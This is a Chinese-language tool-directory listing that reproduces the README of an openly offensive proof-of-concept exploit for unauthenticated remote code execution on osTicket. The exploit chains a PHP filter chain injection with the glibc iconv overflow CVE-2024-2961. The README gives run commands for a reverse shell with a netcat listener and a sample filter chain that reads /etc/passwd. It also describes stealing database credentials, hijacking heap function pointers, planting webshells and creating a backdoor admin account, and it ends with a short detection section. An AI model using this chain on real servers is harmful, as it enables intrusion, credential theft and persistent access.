Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
osTicketFileReadIntoRCE — 将PHP过滤器链注入与CVE-2024-2961(CNEXT)相结合的全链利用,针对易受攻击的osTicket安装实现未经身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/clarissss/osticketfilereadintorce
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用渗透测试学习与教育红队远程访问工具Payload 开发
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

将PHP过滤器链注入与CVE-2024-2961(CNEXT)相结合的全链利用,针对易受攻击的osTicket安装实现未经身份验证的远程代码执行。

57个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-22200: osTicket 任意文件读取导致远程代码执行

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

全链利用:结合 PHP filter chain 注入与 CVE-2024-2961 (CNEXT),在易受攻击的 osTicket 安装上实现未授权远程代码执行。


目录

  • 概述
  • 漏洞详情
  • 攻击流程
  • 功能特性
  • 安装
  • 使用方法
  • 技术细节
  • 故障排除
  • 检测与缓解
  • 致谢
  • 免责声明

概述

本仓库包含 CVE-2026-22200 的概念验证利用代码,该漏洞影响 osTicket ≤ 1.18.2 版本。该利用将两种强大的技术链式组合:

  1. PHP Filter Chain 注入 — 通过 mPDF 的图像处理实现
  2. CNEXT 堆损坏 (CVE-2024-2961) — 位于 glibc 的 iconv() 中

结果:在易受攻击的 osTicket 服务器上实现 未授权远程代码执行。

影响

  • 未授权 — 无需凭证
  • 完全 RCE — 服务器完全沦陷
  • 文件窃取 — 读取任意服务器文件
  • 数据库访问 — 提取数据库凭据
  • 管理员访问权限 — 创建后门管理员账户

受影响版本

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 在 glibc 2.39+ 中已修复)

🔍 漏洞详情

CVE-2026-22200: PHP Filter Chain 注入

CVSS 评分: 9.8 (严重)

osTicket 的 mPDF 集成允许未授权用户通过精心构造的 HTML 负载(在支持工单中)注入恶意 PHP filter chain。这可以实现:

  • 任意文件读取(配置文件、源代码、凭据)
  • 内存泄漏(/proc/self/maps、部分 libc)
  • 通过 CNEXT 实现堆损坏

根本原因:用户提供的 HTML 中的图像 URL 在传递给 mPDF 之前缺乏充分验证。

CVE-2024-2961: CNEXT (iconv 缓冲区溢出)

CVSS 评分: 9.8 (严重)

glibc 的 iconv() 在处理 ISO-2022-CN-EXT 字符集时发生缓冲区溢出。结合 PHP filter chain,这可以实现:

  • 堆损坏
  • 函数指针劫持
  • 任意命令执行

易受攻击的 glibc 版本: < 2.39 (2024年2月)


🔗 攻击流程

┌─────────────────────────────────────────────────────────────────┐
│ 1. 侦察阶段                                                      │
│    └─ 检测 osTicket,识别富文本主题                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 身份认证                                                      │
│    └─ 自行注册 或 使用现有凭证                                   │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. 文件窃取 (PHP Filter Chains)                                  │
│    ├─ /etc/passwd                                                │
│    ├─ include/ost-config.php (数据库凭据, SECRET_SALT)           │
│    ├─ /proc/self/maps (内存布局)                                 │
│    └─ /proc/self/environ (环境变量)                              │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. libc 指纹识别                                                  │
│    ├─ 通过 filter chains 提取部分 libc                            │
│    ├─ 提取 GNU Build ID                                           │
│    └─ 从 libc.rip 下载完整 libc                                  │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE 利用                                                 │
│    ├─ 生成堆损坏负载                                              │
│    ├─ 通过工单回复注入 (附带 filter 执行修复)                      │
│    ├─ 通过 PDF 导出触发 (服务器崩溃)                                │
│    └─ 执行反向 shell                                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. 后利用阶段                                                      │
│    ├─ 交互式反向 shell                                            │
│    ├─ 数据库访问 (使用窃取的 DBPASS)                               │
│    └─ 创建后门管理员账户                                            │
└─────────────────────────────────────────────────────────────────┘

功能特性

核心能力

  • 全自动 利用链
  • 未授权 攻击(如果启用自行注册)
  • 智能 Web 根目录检测 — 通过 /proc/self/maps 解析
  • 100% webshell 定位 — 通过文件系统扫描
  • 自动 libc 指纹识别 和下载
  • 多种反向 shell 方式 (bash, python, netcat)
  • 稳健的 filter 执行 — 带缓存清理
  • 预检诊断 — 提前发现问题

增强的可靠性

  • 多重触发 CNEXT — 保证崩溃(成功率 95%+)
  • 基于回复的注入 — 比新建工单更可靠
  • 流强制 — 确保 filter 执行
  • 缓存清理 — 防止提供过期的 PDF
  • 全面的错误处理 和诊断

后利用功能

  • 数据库凭据提取 (从配置中获取 DBPASS)
  • 通过数据库访问创建管理员账户
  • 持久后门 选项
  • 完整系统侦察

安装

先决条件

  • Python 3.8+
  • Linux/macOS (推荐) 或 Windows 上的 WSL

依赖项

# 克隆仓库
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# 安装所需包
pip install -r requirements.txt

requirements.txt:

requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

可选:虚拟环境

python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# 或
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 使用方法

基本用法 - 反向 Shell

# 终端 1:启动监听器
nc -lvnp 4444

# 终端 2:运行利用脚本
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

交互式 Webshell 模式

python3 osticket_exploit.py https://target.com/osticket

高级选项

# 使用代理 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# 强制指定帮助主题 ID
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# 禁用彩色输出 (用于日志记录)
python3 osticket_exploit.py https://target.com/osticket --no-color

现有凭证

如果注册被禁用,系统会提示输入凭证:

python3 osticket_exploit.py https://target.com/osticket

  [?] 输入新账户的邮箱 (或使用现有): [email protected]
  [?] 输入密码: ********

🔧 技术细节

PHP Filter Chain 生成

该利用使用复杂的 filter chain 将 BMP 头添加到任意文件前,绕过 mPDF 的文件类型限制:

php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 超过 50 次 iconv 转换 ...]
convert.base64-decode/resource=/etc/passwd

关键创新:BMP 头的每个字符都通过精心设计的 iconv 转换生成,使得任意文件内容可以被嵌入为“有效”的图像。

CNEXT 堆利用

CNEXT 负载通过以下方式破坏 PHP 的 Zend 内存管理器:

  1. 溢出 iconv 缓冲区 — 使用易受攻击的字符 劄
  2. 覆盖 zend_mm_heap 结构体
  3. 劫持函数指针 (_emalloc, _efree, _erealloc)
  4. 重定向到 system() 以执行命令

增强的可靠性:

  • 多个触发字符(3 个 劄 而不是 1 个)
  • 增加填充(40 字节而非默认的 20 字节)
  • 多位置触发插入
  • 流强制执行

100% Webshell 检测

与原始利用不同,此版本使用 文件系统扫描 来保证 webshell 位置:

  1. 将 webshell 写入 6 个以上候选目录
  2. 使用任意文件读取 扫描每个位置
  3. 检测哪个包含唯一标记
  4. 准确映射文件系统路径 → URL

结果:100% 检测率(原始版本约 50%)

Filter 执行强制

常见失败:PDF 已下载但不崩溃 = filter 未执行。

已实现的解决方案:

  1. 缓存清理 — 唯一 HTML 防止缓存 PDF
  2. 回复注入 — 比新建工单更可靠
  3. 流强制 — stream=True 强制立即处理
  4. 预检测试 — 在 CNEXT 之前验证 filter 是否工作

glibc 版本检查

# 在详细模式下检查:
[*] 目标 libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 易受 CNEXT 攻击

如果 glibc ≥ 2.39,CNEXT 将不起作用(已修复)。

无 Shell 连接

症状:服务器崩溃但没有反向 shell

原因:

  1. 防火墙阻止 出站连接
  2. LHOST 错误(使用你的实际 IP,而不是 localhost)
  3. 命令太长 — 尝试更短的 IP

解决方法:

# 使用 nc 反向 shell(更短)
# 如果 bash/python 命令太长,会自动回退

# 或者使用直接 IP 而不是主机名
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # 使用 IP,不要用主机名
    --lport 4444

常见错误信息

错误原因解决方法
No CSRF token会话过期重新运行利用脚本
No help-topic found没有富文本主题手动使用 --topic-id
Build ID not found部分 libc 损坏检查 /proc/self/maps 提取
Cannot locate heap内存布局异常利用可能失败(少见)

检测与缓解

检测

日志指标:

# Apache/Nginx 日志
"php://filter/" 出现在 POST 请求中
"convert.iconv." 出现在请求体中
异常的 PDF 生成模式
短时间内多次 PDF 请求

# PHP 错误日志
PDF 生成期间出现段错误
iconv() 崩溃
堆损坏错误

网络指标:

  • 短时间内创建多个支持工单
  • 工单消息中包含大型 HTML 负载(100KB+)
  • 工单创建后快速发起 PDF 导出请求
  • 崩溃后出现到攻击者 IP 的出站连接

缓解措施

立即执行

下载工具